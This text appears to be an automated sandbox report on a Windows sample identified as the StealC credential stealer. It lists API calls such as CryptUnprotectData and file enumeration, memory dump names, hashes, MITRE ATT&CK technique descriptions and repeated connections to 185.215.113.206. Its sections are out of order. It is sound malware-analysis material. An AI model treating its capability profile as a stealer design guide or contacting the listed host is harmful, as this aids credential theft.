Opcode Fuzzy Hash: 0d1d13c1b33c73dd78e96f73640996536e647382ac378ef8256fdd8d6408f447
Instruction Fuzzy Hash: 56F0BB319663149FD7A0FBF8584774E37A0EF00721F14214AF504962D2DBA499409BB5

Function 00DB04D3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

CatchIt.LIBVCRUNTIME ref: 00DB05DE

Strings

MOC, xrefs: 00DB050A
RCC, xrefs: 00DB0512

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Catch
String ID: MOC$RCC
API String ID: 78271584-2084237596
Opcode ID: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction ID: c77ce06ad0965daebdcb932c2effdda4f101fef0b1c756e9cb5bb20344acaa65
Opcode Fuzzy Hash: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction Fuzzy Hash: 25414972900209EFDF26DF98DD81AEEBBB5FF48304F188199F90666611D3359A90DF60

Function 00D45190 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D48F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D48F9B

lstrcat.KERNEL32(?,00000000), ref: 00D451CA
lstrcat.KERNEL32(?,00D51058), ref: 00D451E7
lstrcat.KERNEL32(?,01678F08), ref: 00D451FB
lstrcat.KERNEL32(?,00D5105C), ref: 00D4520D

Part of subcall function 00D44B60: wsprintfA.USER32 ref: 00D44B7C
Part of subcall function 00D44B60: FindFirstFileA.KERNEL32(?,?), ref: 00D44B93

Part of subcall function 00D44B60: StrCmpCA.SHLWAPI(?,00D50FC4), ref: 00D44BC1
Part of subcall function 00D44B60: StrCmpCA.SHLWAPI(?,00D50FC8), ref: 00D44BD7
Part of subcall function 00D44B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00D44DCD
Part of subcall function 00D44B60: FindClose.KERNEL32(000000FF), ref: 00D44DE2

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 6f34f381a2c3c5005a5ef6370eeba2a4711f5fb459f030b808cb25884f0d6009
Instruction ID: 57978d7f03b5edaaf40f722966eb7baf610244cb70aad65b1e32151b9b91a63b
Opcode Fuzzy Hash: 6f34f381a2c3c5005a5ef6370eeba2a4711f5fb459f030b808cb25884f0d6009
Instruction Fuzzy Hash: EA21C87A900208ABDB24FBB0DC46EED733DDB54300F004558B9D596185EE79AACC8BB1

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D49030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00D49030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3A2B0 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00D3A2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D372A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00D372A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00D3A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3C920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00D3C920

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00D49BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00D34610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00D362D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00D47690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00D49F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00D348D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00D45760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00D419F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00D46C90 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00D31220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00D46D93 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00D34800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00D45440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON